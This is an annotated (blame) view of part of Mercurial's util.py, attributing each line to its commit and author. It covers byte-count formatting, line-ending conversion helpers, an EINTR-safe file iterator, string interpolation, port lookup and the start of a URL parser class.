080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2730 raise error.ParseError(_("line range must be positive"))
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2731 if fromline < 1:
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2732 raise error.ParseError(_("fromline must be strictly positive"))
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2733 return fromline - 1, toline
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2734
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2735
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2736 bytecount = unitcountfn(
16397 f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2737 (100, 1 << 30, _('%.0f GB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2738 (10, 1 << 30, _('%.1f GB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2739 (1, 1 << 30, _('%.2f GB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2740 (100, 1 << 20, _('%.0f MB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2741 (10, 1 << 20, _('%.1f MB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2742 (1, 1 << 20, _('%.2f MB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2743 (100, 1 << 10, _('%.0f KB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2744 (10, 1 << 10, _('%.1f KB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2745 (1, 1 << 10, _('%.2f KB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2746 (1, 1, _('%.0f bytes')),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2747 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2748
16397 f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2749
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2750 class transformingwriter(object):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2751 """Writable file wrapper to transform data by function"""
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2752
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2753 def __init__(self, fp, encode):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2754 self._fp = fp
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2755 self._encode = encode
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2756
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2757 def close(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2758 self._fp.close()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2759
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2760 def flush(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2761 self._fp.flush()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2762
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2763 def write(self, data):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2764 return self._fp.write(self._encode(data))
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2765
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2766
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2767 # Matches a single EOL which can either be a CRLF where repeated CR
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2768 # are removed or a LF. We do not care about old Macintosh files, so a
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2769 # stray CR is an error.
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2770 _eolre = remod.compile(br'\r*\n')
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2771
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2772
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2773 def tolf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2774 return _eolre.sub('\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2775
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2776
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2777 def tocrlf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2778 return _eolre.sub('\r\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2779
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2780
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2781 def _crlfwriter(fp):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2782 return transformingwriter(fp, tocrlf)
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2783
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2784
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2785 if pycompat.oslinesep == '\r\n':
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2786 tonativeeol = tocrlf
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2787 fromnativeeol = tolf
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2788 nativeeolwriter = _crlfwriter
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2789 else:
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2790 tonativeeol = pycompat.identity
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2791 fromnativeeol = pycompat.identity
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2792 nativeeolwriter = pycompat.identity
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2793
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2794 if pyplatform.python_implementation() == 'CPython' and sys.version_info < (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2795 3,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2796 0,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2797 ):
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2798 # There is an issue in CPython that some IO methods do not handle EINTR
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2799 # correctly. The following table shows what CPython version (and functions)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2800 # are affected (buggy: has the EINTR bug, okay: otherwise):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2801 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2802 # \| < 2.7.4 \| 2.7.4 to 2.7.12 \| >= 3.0
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2803 # --------------------------------------------------
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2804 # fp.__iter__ \| buggy \| buggy \| okay
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2805 # fp.read* \| buggy \| okay [1] \| okay
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2806 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2807 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2808 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2809 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2810 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2811 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2812 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2813 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2814 # CPython 2, because CPython 2 maintains an internal readahead buffer for
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2815 # fp.__iter__ but not other fp.read* methods.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2816 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2817 # On modern systems like Linux, the "read" syscall cannot be interrupted
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2818 # when reading "fast" files like on-disk files. So the EINTR issue only
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2819 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2820 # files approximately as "fast" files and use the fast (unsafe) code path,
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2821 # to minimize the performance impact.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2822 if sys.version_info >= (2, 7, 4):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2823 # fp.readline deals with EINTR correctly, use it as a workaround.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2824 def _safeiterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2825 return iter(fp.readline, '')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2826
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2827 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2828 # fp.read* are broken too, manually deal with EINTR in a stupid way.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2829 # note: this may block longer than necessary because of bufsize.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2830 def _safeiterfile(fp, bufsize=4096):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2831 fd = fp.fileno()
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2832 line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2833 while True:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2834 try:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2835 buf = os.read(fd, bufsize)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2836 except OSError as ex:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2837 # os.read only raises EINTR before any data is read
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2838 if ex.errno == errno.EINTR:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2839 continue
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2840 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2841 raise
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2842 line += buf
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2843 if '\n' in buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2844 splitted = line.splitlines(True)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2845 line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2846 for l in splitted:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2847 if l[-1] == '\n':
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2848 yield l
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2849 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2850 line = l
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2851 if not buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2852 break
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2853 if line:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2854 yield line
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2855
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2856 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2857 fastpath = True
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2858 if type(fp) is file:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2859 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2860 if fastpath:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2861 return fp
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2862 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2863 return _safeiterfile(fp)
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2864
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2865
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2866 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2867 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2868 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2869 return fp
30405 10514a92860e util: add iterfile to workaround a fileobj.__iter__ issue with EINTR Jun Wu <quark@fb.com> parents: 30369 diff changeset	2870
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2871
7879 5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2872 def iterlines(iterator):
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2873 for chunk in iterator:
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2874 for line in chunk.splitlines():
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2875 yield line
9610 d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2876
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2877
9610 d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2878 def expandpath(path):
d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2879 return os.path.expanduser(os.path.expandvars(path))
10239 8e4be44a676f Find right hg command for detached process Patrick Mezard <pmezard@gmail.com> parents: 10199 diff changeset	2880
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2881
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2882 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2883 """Return the result of interpolating items in the mapping into string s.
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2884
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2885 prefix is a single character string, or a two character string with
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2886 a backslash as the first character if the prefix needs to be escaped in
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2887 a regular expression.
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2888
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2889 fn is an optional function that will be applied to the replacement text
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2890 just before replacement.
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2891
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2892 escape_prefix is an optional flag that allows using doubled prefix for
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2893 its escaping.
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2894 """
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2895 fn = fn or (lambda s: s)
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2896 patterns = '\|'.join(mapping.keys())
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2897 if escape_prefix:
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2898 patterns += '\|' + prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2899 if len(prefix) > 1:
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2900 prefix_char = prefix[1:]
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2901 else:
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2902 prefix_char = prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2903 mapping[prefix_char] = prefix_char
35166 25c543944bc0 py3: add b'' to regular expressions which are raw strings Pulkit Goyal <7895pulkit@gmail.com> parents: 35053 diff changeset	2904 r = remod.compile(br'%s(%s)' % (prefix, patterns))
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2905 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2906
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2907
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2908 def getport(port):
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2909 """Return the port for a given network service.
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2910
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2911 If port is an integer, it's returned as is. If it's a string, it's
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2912 looked up using socket.getservbyname(). If there's no matching
26587 56b2bcea2529 error: get Abort from 'error' instead of 'util' Pierre-Yves David <pierre-yves.david@fb.com> parents: 26493 diff changeset	2913 service, error.Abort is raised.
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2914 """
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2915 try:
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2916 return int(port)
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2917 except ValueError:
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2918 pass
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2919
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2920 try:
36076 15c8c4ac5d9c py3: pass system string to socket.getservbyname Gregory Szorc <gregory.szorc@gmail.com> parents: 35940 diff changeset	2921 return socket.getservbyname(pycompat.sysstr(port))
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2922 except socket.error:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2923 raise error.Abort(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2924 _("no port number associated with service '%s'") % port
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2925 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2926
12087 a88a4720c2f0 parsebool: create new function and use it for config parsing Augie Fackler <durin42@gmail.com> parents: 12086 diff changeset	2927
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2928 class url(object):
14146 1618c4f6f15b tests: use raw string for url tests of '\' handling Mads Kiilerich <mads@kiilerich.com> parents: 14100 diff changeset	2929 r"""Reliable URL parser.
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2930
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2931 This parses URLs and provides attributes for the following
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2932 components:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2933
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2934 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2935
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2936 Missing components are set to None. The only exception is
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2937 fragment, which is set to '' if present but empty.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2938
